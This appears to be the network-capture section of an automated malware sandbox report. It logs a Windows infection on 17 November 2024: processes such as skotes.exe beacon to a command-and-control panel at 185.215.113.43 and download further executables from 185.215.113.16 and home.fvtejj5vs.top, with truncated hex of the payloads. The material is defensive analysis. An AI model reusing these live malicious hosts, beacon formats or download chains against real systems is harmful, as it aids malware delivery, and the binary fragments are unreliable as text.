MZx@x!L!This program cannot be run in DOS mode.$PEL7gDI@0I2@\p x@.rsrc @.idata @ )@drhtdnenP/N@ddnzvcgmH@.taggant0I"@
Nov 17, 2024 22:21:31.126415014 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:31.126473904 CET	224	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:31.126507998 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:31.126545906 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:31.126584053 CET	424	IN	Data Raw: a1 d5 41 42 17 e6 24 69 55 62 e7 01 0f d5 2d ec b9 01 7c 70 2d af 19 c9 ee 3c 9e 55 fc 36 d5 16 00 1f 15 62 5b a8 5f db f8 cf 10 7f 09 29 75 92 c1 f8 2c 05 41 13 87 f6 fd 2f dd b5 8e 3c eb 6d 6f 2b 1a 50 e0 b8 18 a2 27 24 a2 30 72 8b 2e be fa e2 Data Ascii: AB$iUb-\|p-<U6b[_)u,A/<mo+P'$0r.f()&SjG-H.Er3"fmd&>'19JU"]DnZq_;Z[E!H}y /[GCW+=&2c2tFAZ]H@olL7Rs(w,
Nov 17, 2024 22:21:31.126619101 CET	1148	IN	Data Raw: cf e9 2a 9b c7 4f 0e e4 7f 5c 0c 74 ae ea 60 1b cb 21 83 94 c1 46 d0 e5 80 6b e6 ad c2 07 d7 51 a9 b2 f6 33 20 14 b6 12 b3 41 c3 f9 80 c3 88 5c 68 fa 0a 66 fd 09 40 76 cd 64 1b 7f 30 46 6e d3 47 c4 d1 8c d1 3d c1 b3 9c 8e 46 6a ee 1a 01 e0 40 f4 Data Ascii: O\t`!FkQ3 A\hf@vd0FnG=Fj@(\9<80w2wws]UR//TUxz`zZx&[A?)!mcB#sB!=vM"AB@2Z)e-\|EDA/Tu.
Nov 17, 2024 22:21:31.126657009 CET	1236	IN	Data Raw: 68 06 2e dc aa f5 cc e1 4d e8 f3 73 9c 68 05 b5 9b d2 ef f3 07 23 25 bc fe c1 dc 0b f9 5a 05 52 32 90 f1 85 21 32 a0 47 cc 52 ae b6 2d 8c 70 58 37 bb fb a2 0e b9 af 8e b9 fc 2b 21 63 62 88 e0 38 f3 6d 1b 41 79 4c 60 94 aa 1d cc f5 72 0c 66 32 03 Data Ascii: h.Msh#%ZR2!2GR-pX7+!cb8mAyL`rf2'm,4^k_JeX" se&3XKd+zaDo[D,.6+F$U.2o~DiLS7&m,.:$w1$"}N<b)Z
Nov 17, 2024 22:21:31.126744032 CET	1236	IN	Data Raw: c7 4a c5 4e 83 47 71 89 da c6 5e de 57 3f 50 c9 12 40 f5 dc 51 e3 8a 47 1a 87 2b b2 f3 bb 16 ed 17 36 e8 21 88 f5 ef e3 e9 06 3d ec 7c f6 07 a9 16 a2 98 4b fd d3 8c bc 4a 2f 6d 49 e7 af 8f 81 40 3b d0 1b c3 41 84 dc 16 30 1e 52 ee 26 df 0a 8c 51 Data Ascii: JNGq^W?P@QG+6!=\|KJ/mI@;A0R&Q0{;6!{E?![<SJG6=EI[7D)czr4OH7K;BLy&J\|Nrcm]%"QzWba9WEr%z
Nov 17, 2024 22:21:31.126781940 CET	424	IN	Data Raw: f8 26 3d b9 a6 3a b8 43 b9 f9 47 02 b9 f6 d5 20 da 1f 53 56 53 1c 6f 67 73 cd 8e b6 06 4f 97 8a 50 a3 c8 a2 b6 b2 36 58 e7 28 45 db 1f 8c d8 76 07 f6 33 36 70 19 66 f6 5b 14 14 2a d0 61 73 e9 11 0a 53 61 fe 7a d0 cc 17 5b 1b 1a 22 f2 6d f6 25 b0 Data Ascii: &=:CG SVSogsOP6X(Ev36pf[asSaz["m%KR?9VPV] d?N#[/&\|iWQ-(n&d:7`)65-%#Vk0>6D{L^RL-3Jp ML_:6EY>"\|pFz
Nov 17, 2024 22:21:31.131716013 CET	1236	IN	Data Raw: f3 b2 fb 05 f5 36 16 04 e3 40 01 15 c2 09 5a 11 e7 5d 77 5e 28 72 4c 4f 15 e4 46 2f cf 0e d4 e7 ee 41 e2 d5 4e 34 a0 1f 0c d6 b3 60 7f 7a ef 61 ed 27 c3 5f 3b dd 1d fa 4b 69 32 72 3e 80 77 9a b3 fc ba 2b e9 27 1f 44 a6 1d fc ab bc 34 a0 de 65 ee Data Ascii: 6@Z]w^(rLOF/AN4`za'_;Ki2r>w+'D4e,^XLKQNO"&G80D.c<$o\Y}aR}2B'3[^ynj9H,[$aay91@HP}q)Y&@8;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.7	61061	62.76.234.151	80	8068	C:\Users\user\AppData\Local\Temp\1006992001\5454ad7c1c.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:21:30.421999931 CET	87	OUT	GET /rUdtpijYYaAroyCEkvvS1731840403 HTTP/1.1 Host: home.fvtejj5vs.top Accept: /
Nov 17, 2024 22:21:31.426558018 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sun, 17 Nov 2024 21:21:31 GMT Content-Type: application/octet-stream Content-Length: 10815536 Connection: close Content-Disposition: attachment; filename="r49330kkYZlamCEZsLS;" Last-Modified: Sun, 17 Nov 2024 10:46:43 GMT Cache-Control: no-cache ETag: "1731840403.8640997-10815536-3531348207" Data Raw: 18 e8 31 3c eb c4 b3 9c bb 0a e0 ec ae 93 88 86 9b f4 53 e4 6f 8c 25 8c 2b 60 64 2e 4c 4b 11 93 ba 78 f1 21 11 f3 8a 48 3d d2 4d cc 62 34 4e 1a 2f 8a 98 cf 5b fe 3e a0 f6 55 c6 2c a6 bb f1 6e fb 56 3d 89 f8 23 d6 3c 0d 14 7b 04 b5 9c 19 ea 9a 5b 28 35 95 61 b9 16 38 09 ac 66 6b 32 ea 0d a0 55 75 0d 57 b1 59 21 d9 be 60 8a eb 6c e2 4b 08 6e bd 66 df 0a 80 7e ec d6 64 df ee 4f 7e fa 87 84 7f 3c ce ca f0 81 fb 3c 46 db 53 1b f0 06 93 39 c1 c9 81 6c 11 46 4f 06 81 fe 8e 2d 5d d3 63 e4 81 1c bf 26 99 42 7a 3c 39 61 a9 71 4c 0f c4 fc 3a e9 83 ce 89 72 85 bc fe 2a 03 72 8a a3 f8 4b 9c 20 f4 49 3c db 7c 33 2c e5 93 05 2a ee 04 69 5a c2 a7 ef dc db 19 64 8c 73 b8 31 6e 0b 5d 28 ad d6 9d 1c 15 75 ea 4d 85 2e 21 05 97 33 d0 f3 b6 a1 89 c0 43 bc 0c e7 05 8e 82 df 2c fb 29 bd 75 83 11 dc 87 6f 9f f8 fb d7 c4 b0 49 26 f6 3a 1f 94 aa 58 8b 24 79 1e 7c 97 c7 ae 75 af 87 20 47 5f 7d 85 eb c3 e0 d2 0b 6a 25 2c eb 48 17 34 ab 6e c7 d5 d8 85 30 d2 86 3f 5b 11 cf 2b 9e 50 d6 01 ad f4 fa 07 0f b1 9c c7 d4 dc 03 bf 25 9a [TRUNCATED] Data Ascii: 1<So%+`d.LKx!H=Mb4N/[>U,nV=#<{[(5a8fk2UuWY!`lKnf~dO~<<FS9lFO-]c&Bz<9aqL:rrK I<\|3,iZds1n](uM.!3C,)uoI&:X$y\|u G_}j%,H4n0?[+P%3ty},MX[FI05><vR^=`s"TYAy\K\|s42g8 hcdo67:VOKjz$-ifV=S:v)F;:qvTZ~ -?Z(_5F%{Vc5\Pg':hCE8D,e(Fow.g8Kxk.k8Ne@=8BgLI\|H@6@z^W(mn-Iv22X_rbd1Wy[;rU/2O6p"M{~9i{<]5:O<+0";$B2<)uD8Yx,MKvQnRMQBDB9NY3$TI(<B*Hdx<B[>^$P<w3}hxX"D{q
Nov 17, 2024 22:21:31.426595926 CET	1236	IN	Data Raw: 1d b6 a9 8c ee 73 b2 12 73 73 34 a0 d0 d9 fa 52 3a e4 0f 77 cd dc b4 0d f2 9a 62 9f 04 bb 4c d0 78 b5 58 85 91 88 13 28 36 e5 ae 6b 79 ea 23 1c 47 e3 fa 27 d5 5a 9a f2 6b b1 da fd 73 18 83 fb a0 0a fd 9b 75 0c dc de 68 b0 4c 0b 47 95 10 ba ef 6b Data Ascii: sss4R:wbLxX(6ky#G'ZksuhLGk->Bwt#U^cDo:Vp^CGIoK^ Y\|t@51 urbf2,LC //@KI!-oL9~%kkI3/
Nov 17, 2024 22:21:31.426630974 CET	424	IN	Data Raw: 28 b3 c9 7e 6c 68 3b ec 93 86 4d 1e d9 d3 f3 c8 e6 a0 74 e1 2b 10 e7 6f 14 0d e1 f9 96 26 70 76 d2 ab 2c 02 fc 94 ff b7 d2 7a 65 6c 80 36 fc 03 dd d3 0f a3 9a f2 c9 89 84 7e 6c 8d 4d 23 4b 8a 6c d4 62 41 d4 0d 8d 7f ce d7 b4 d2 f9 0e 8d e7 15 b3 Data Ascii: (~lh;Mt+o&pv,zel6~lM#KlbAR"6Y#\XAQrGDp:+ WT><\3.Zfmq4 ( \M4[ZZOY\[,=y$4g6%XN#L7=a@h6\50#
Nov 17, 2024 22:21:31.427392006 CET	1236	IN	Data Raw: 3f 61 a4 e8 11 37 59 2e 4b 66 a9 69 fa 39 0f 32 0b 60 bf be 73 a4 ca 1d 13 13 71 a8 01 6e b3 d1 34 43 18 8f 49 c6 b3 06 92 e6 19 06 20 87 d0 70 43 79 f0 0e 5c 6f 43 a3 ab f3 a8 9a f0 a7 91 95 72 cc 26 eb 13 1f e8 3d 1b 1d 5b 1f 2d a3 a1 96 4f ff Data Ascii: ?a7Y.Kfi92`sqn4CI pCy\oCr&=[-Om!v6/>P,bFOZ'$(XyEnCW6MO4On/>rB^)C^x;vE`IEo-&3yK)z,a5(p=4K!(
Nov 17, 2024 22:21:31.427426100 CET	1236	IN	Data Raw: 13 d9 fd 05 30 2b 6b f2 45 15 a8 0f 6b f0 d1 a7 b5 88 9f 63 99 57 05 54 90 5d 41 f4 e0 79 01 a3 1c b0 c6 53 53 7b 68 d1 f9 21 29 c8 b3 5a f7 7e 0f 40 fb ea 6a d4 1e 85 63 76 3d fa 0c ad 53 c7 5f bf 20 8c e6 b5 a5 ea 95 99 74 9f ba f3 d4 19 d1 0c Data Ascii: 0+kEkcWT]AySS{h!)Z~@jcv=S_ tgW$#f,Sd[s9cRzdMt@Z6AUQ,B$Xau#f}#(&Wx-rPf+s.KDzBd#C"Im,sbp"\|I
Nov 17, 2024 22:21:31.427462101 CET	424	IN	Data Raw: 9b 5e 55 ea c8 04 30 09 a0 ad 6f 98 39 07 3a 09 34 d5 70 69 3b c7 68 0f ab 1d 64 83 ff 02 7a eb ec f2 4e 4d 5b 8e 0f d1 38 74 27 92 6d d5 b8 69 22 6b 23 ba 3c 56 55 71 64 2f 27 55 80 14 9d 28 5c 63 f2 ae 37 5e 00 18 5f 83 bd 60 7c 5d 23 cd 0c 6f Data Ascii: ^U0o9:4pi;hdzNM[8t'mi"k#<VUqd/'U(\c7^_`\|]#o,za7n]$^__aC9Vejc#1#(vcRAvO+:uoC{Th;#w-f3e]kZI0k)To}@NVPbq
Nov 17, 2024 22:21:31.429902077 CET	1236	IN	Data Raw: f6 d1 d5 6f 49 fd f8 01 af 1b bf a1 73 79 6c 4e 05 f5 6e 99 0e af 34 4f f5 69 0f 2c 30 06 be 23 ae e7 a1 66 33 08 5c bc e0 ba 2a c9 1d af 42 3e 1d c9 5f 94 e6 ff 8b 7d 5b 73 45 06 58 73 f0 12 fb 67 79 38 55 ea 07 60 50 ba 46 a6 5a 40 3b 7e ba 98 Data Ascii: oIsylNn4Oi,0#f3\B>_}[sEXsgy8U`PFZ@;~-zesy7GZ^e53Sth%Xp"mZK?C!.7y~^NwXV'afHyao&]]B~%\|a9;9" m<U
Nov 17, 2024 22:21:31.429934978 CET	1236	IN	Data Raw: eb a5 ea 93 b5 ac dd 33 c1 40 9b 42 c1 ff cb d9 a0 08 21 3a a8 10 81 28 68 6e b6 05 a6 07 65 02 e5 4b 75 9f b7 7e 41 10 d6 16 4c 5e 5d 4e 99 65 7b 8f c1 de 60 de 8d cc b9 c9 03 72 e1 e4 32 6d 6b 23 8c 96 a3 e9 78 95 43 b8 bb bc 39 f7 c1 e9 d4 34 Data Ascii: 3@B!:(hneKu~AL^]Ne{`r2mk#xC94Mll:Yg_R$Eh(c;3-02Gp.^C7Q+eLjqLC)+xs~*[L2ylOpMZ6e(w.A?o}'S54 N9E
Nov 17, 2024 22:21:31.429970026 CET	424	IN	Data Raw: e4 06 be 7d 2a a6 43 9e ff d1 4e c1 98 f1 24 f0 96 65 fb e0 b9 97 ea 12 4d ed e9 69 9d 76 c2 28 05 01 38 41 0d ca 7e ae 92 c2 1d 02 df f9 00 db c5 11 f5 e2 59 6a 5f bd 95 30 16 f5 e5 c4 df 4e 75 05 05 ab 33 06 f4 70 f4 23 fc 98 3c 08 ac 3f c5 ff Data Ascii: }CN$eMiv(8A~Yj_0Nu3p#<?hJqg}UMR^N5u&;,r/xB4wcZ.3ApDvg:]U5M3'8kNBM2h#gI?T0+]`5B1E^go$
Nov 17, 2024 22:21:31.481945992 CET	1236	IN	Data Raw: 84 f0 98 20 cb 7a 7a d2 2b 7c 9c cf 4d 80 85 a1 c0 a1 c5 97 a6 60 56 db 3b ef 93 30 9a 5d e3 a7 90 c4 f7 2a 21 72 a6 df 98 af 5f 54 57 db 87 70 2d 45 63 d2 a6 a3 f8 37 84 c7 b0 a5 c3 82 69 9b ae 52 33 2e 03 33 28 38 19 cd 9e 46 0e b9 df 50 df 39 Data Ascii: zz+\|M`V;0]!r_TWp-Ec7iR3.3(8FP98BV{EB-REwLc^y,j}]9>1CA+#(/:jJ78EySl!!i9F~^5v>:Kd$,KIv%!kQHI8>
Nov 17, 2024 22:21:31.481965065 CET	1236	IN	Data Raw: db 5a f6 ef 70 85 92 e6 a4 0d 11 68 e3 23 a1 8f bb c9 69 e3 eb b3 9d b4 36 3e 26 27 7f 8d ea 68 18 f1 9a bb d9 97 27 00 5f 01 eb 91 14 97 1b 8f 16 b8 9f 95 dc 70 a6 d4 1a d9 54 49 3a 65 45 19 31 a7 fd e0 96 d7 67 a1 ae 5e 7c 7d 8e 22 79 4d e2 8e Data Ascii: Zph#i6>&'h'_pTI:eE1g^\|}"yMLG:wp;Rbz"9a9kPglYhoQ37e"q3eUX_'>y Yb`&Fh.Eb8!iQrGo~&l(lvt

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.7	61069	185.215.113.43	80	1748	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:21:52.757117033 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 39 39 33 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006993001&unit=246122658369
Nov 17, 2024 22:21:53.654835939 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:21:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.7	61070	185.215.113.16	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:21:53.787020922 CET	56	OUT	GET /steam/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 17, 2024 22:21:54.685080051 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:21:54 GMT Content-Type: application/octet-stream Content-Length: 1808384 Last-Modified: Sun, 17 Nov 2024 21:03:49 GMT Connection: keep-alive ETag: "673a5a35-1b9800" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce ac e2 38 8a cd 8c 6b 8a cd 8c 6b 8a cd 8c 6b e5 bb 27 6b 92 cd 8c 6b e5 bb 12 6b 87 cd 8c 6b e5 bb 26 6b b0 cd 8c 6b 83 b5 0f 6b 89 cd 8c 6b 83 b5 1f 6b 88 cd 8c 6b 0a b4 8d 6a 89 cd 8c 6b 8a cd 8d 6b d1 cd 8c 6b e5 bb 23 6b 98 cd 8c 6b e5 bb 11 6b 8b cd 8c 6b 52 69 63 68 8a cd 8c 6b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 07 00 4f c3 2f 67 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0a 00 00 96 02 00 00 22 01 00 00 00 00 00 00 40 69 00 00 10 00 00 00 b0 02 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 70 69 00 00 04 00 00 dc 06 [TRUNCATED] Data Ascii: MZ@!L!This program cannot be run in DOS mode.$8kkk'kkkk&kkkkkkjkkk#kkkkRichkPELO/g"@i@pi@M$a$$ $b@.rsrc$r@.idata $t@ p*$v@pjkvfjuj0Ox@cssxusxa0ir@.taggant0@i"v@
Nov 17, 2024 22:21:54.685127974 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:54.685168028 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:54.685194969 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:54.685209036 CET	424	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Nov 17, 2024 22:21:54.685225010 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: vOToK?vQt}-JV2)YCFCGwSy&i3EcK15%{TljBTHaMT
Nov 17, 2024 22:21:54.685244083 CET	1236	IN	Data Raw: 81 f6 25 50 c1 0a 3c 54 34 65 45 12 aa e9 79 bc fe 74 bb 69 5d 45 55 12 2d f5 b0 3f 47 cc 57 ff 47 e7 fa a3 c5 40 56 45 57 3c 9c b7 69 8f 6d 3b 00 38 39 11 60 de de 21 6e 2b d7 24 98 b6 9b 1e 23 7c 2c c5 2e f8 cd 3c 53 f3 61 89 66 65 8f 88 38 4e Data Ascii: %P<T4eEyti]EU-?GWG@VEW<im;89`!n+$#\|,.<Safe8NGotD#xOe$/g#%G`DE\hrW!.<p'u ke""tx^z[#VPc1EP855k]1B3Oc8EEuD
Nov 17, 2024 22:21:54.685260057 CET	1236	IN	Data Raw: e0 8a bf 37 27 36 a5 0f 09 80 c4 d6 54 36 c7 e0 dc 8a cd 10 32 79 00 92 1b 07 5a ea fd 00 a8 0d 28 91 0e 5a c9 7e d4 d4 07 bf 4c 11 d2 ff 46 ea d5 8b 67 79 96 bd cb 0e 69 38 7c 27 5e 03 99 6c d5 c1 95 c7 8c 8c f4 17 a0 68 c8 85 54 f6 9c 18 58 d3 Data Ascii: 7'6T62yZ(Z~LFgyi8\|'^lhTX9nxH{B827&[X_F,R^G,5.yqT=>iC~h_nCoaMTB?6e,]QvgEItXB-\|bhaC^80~AZP_(_<[s
Nov 17, 2024 22:21:54.685273886 CET	236	IN	Data Raw: 32 72 25 78 09 44 5c 7e 54 8b a5 93 90 0e 70 6f ce 42 36 2a 13 28 9e 83 62 ba c9 f1 08 ff 8f 38 32 7a ab f3 62 34 2d 25 39 fd 6f 5e b0 4e 91 26 e8 37 54 54 69 87 7d 99 5e 28 de d8 64 93 c4 ff 8e 88 c1 97 a7 16 6f 19 f0 ba 85 72 a1 97 50 07 58 b4 Data Ascii: 2r%xD\~TpoB6*(b82zb4-%9o^N&7TTi}^(dorPX)P]ZrU4gcWNU$~b)bs,eKbE-BadbDlT#H+v4 4T\~][#3T;.%^.4
Nov 17, 2024 22:21:54.685290098 CET	1236	IN	Data Raw: 44 03 da b5 62 fe 7d d7 8c 97 d9 9c 5e 46 5f 1d 02 ea 5b f4 78 8a 29 d2 37 ac ca fb c4 37 c1 e1 d0 fe c9 2d e9 3b 25 f5 6e c2 fd 97 5d 32 8c 72 04 3b 5f 3b 57 8f 7f 1d 15 fa 5b 6b 2d 2e c6 24 02 8e ae 5e 84 17 5c 47 54 d2 ec ff 2b 3f 5b 54 2c 85 Data Ascii: Db}^F_[x)77-;%n]2r;_;W[k-.$^\GT+?[T,A?C!lUBDC,Q^b2l\Tm\T "{HK~[{T]EObo3]~.@YgPcgb60b4V%]s}]T~"
Nov 17, 2024 22:21:54.690529108 CET	1236	IN	Data Raw: 8f fa b7 74 91 8a 44 11 2a 06 ca 25 ad 99 e9 99 90 f0 42 ec d0 26 46 5b d0 47 6d ff 11 81 ab f9 2d a3 6d 25 2f da c4 d1 1e 3e 7f c3 90 a0 59 3a 5e fa c9 25 c9 49 7f 60 34 fa 54 0b 2e 96 c3 26 75 24 61 db 5d 4e 45 23 91 fd c0 97 94 b3 3d d4 62 1e Data Ascii: tD*%B&F[Gm-m%/>Y:^%I`4T.&u$a]NE#=b~Y%EbX=_T%-i8Be,][#x#CZ0$l[t`F&]n.\|T4}U}T.ft[+=1l<[F%?}Et#&%)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	61074	185.215.113.43	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:01.865370035 CET	184	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 31 Cache-Control: no-cache Data Raw: 64 31 3d 31 30 30 36 39 39 34 30 30 31 26 75 6e 69 74 3d 32 34 36 31 32 32 36 35 38 33 36 39 Data Ascii: d1=1006994001&unit=246122658369
Nov 17, 2024 22:22:02.750504971 CET	193	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:22:02 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 34 0d 0a 20 3c 63 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 4 <c>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	61075	185.215.113.16	80	6564	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 17, 2024 22:22:02.826651096 CET	55	OUT	GET /well/random.exe HTTP/1.1 Host: 185.215.113.16
Nov 17, 2024 22:22:03.701829910 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Sun, 17 Nov 2024 21:22:03 GMT Content-Type: application/octet-stream Content-Length: 922112 Last-Modified: Sun, 17 Nov 2024 21:01:59 GMT Connection: keep-alive ETag: "673a59c7-e1200" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 9a c7 83 ae de a6 ed fd de a6 ed fd de a6 ed fd 6a 3a 1c fd fd a6 ed fd 6a 3a 1e fd 43 a6 ed fd 6a 3a 1f fd fd a6 ed fd 40 06 2a fd df a6 ed fd 8c ce e8 fc f3 a6 ed fd 8c ce e9 fc cc a6 ed fd 8c ce ee fc cb a6 ed fd d7 de 6e fd d7 a6 ed fd d7 de 7e fd fb a6 ed fd de a6 ec fd f7 a4 ed fd 7b cf e3 fc 8e a6 ed fd 7b cf ee fc df a6 ed fd 7b cf 12 fd df a6 ed fd de a6 7a fd df a6 ed fd 7b cf ef fc df a6 ed fd 52 69 63 68 de a6 ed fd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 bf 59 3a 67 00 00 00 00 00 00 00 00 e0 00 22 01 0b 01 0e 10 00 ac 09 00 00 62 04 00 00 00 00 00 77 05 02 00 00 10 00 00 00 c0 [TRUNCATED] Data Ascii: MZ@ !L!This program cannot be run in DOS mode.$j:j:Cj:@*n~{{{z{RichPELY:g"bw@p.E@@@d\|@pu4@.text `.rdata@@.datalpH@.rsrcp@@@.relocuv@B
Nov 17, 2024 22:22:03.701839924 CET	112	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 74 0a 4d 00 e8 38 fd 01 00 68 e9 23 44 00 e8 8f f0 01 00 59 c3 68 f3 23 44 00 Data Ascii: tM8h#DYh#DYh#DrYY<h
Nov 17, 2024 22:22:03.701983929 CET	1236	IN	Data Raw: fd 23 44 00 e8 61 f0 01 00 59 c3 51 e8 a9 00 00 00 68 02 24 44 00 e8 4f f0 01 00 59 c3 a1 30 14 4d 00 51 8b 40 04 05 30 14 4d 00 50 e8 e3 23 00 00 68 17 24 44 00 e8 2f f0 01 00 59 c3 e8 de 25 00 00 68 1c 24 44 00 e8 1e f0 01 00 59 c3 e8 ae e7 01 Data Ascii: #DaYQh$DOY0MQ@0MP#h$D/Y%h$DYh!$DYA2h&$DYPh0$DY%Mh?$DYVNNj(VYY^U80MtI3M0IMMVQfMo0
Nov 17, 2024 22:22:03.702003956 CET	1236	IN	Data Raw: c9 0f 85 75 10 04 00 33 db 89 5f dc 8b 4f c4 85 c9 0f 85 e3 01 00 00 8d 4f a4 89 5f cc e8 60 83 00 00 8d 8f 80 fe ff ff e8 0a 04 00 00 8d b7 64 fe ff ff 8b ce c7 06 3c c9 49 00 e8 88 02 00 00 ff 76 04 e8 bf e8 01 00 59 8d 8f 8c fd ff ff e8 1b 02 Data Ascii: u3_OO_`d<IvY\|#l)\DItvL@IY9TPTX<@IY9D@D.,@IY94
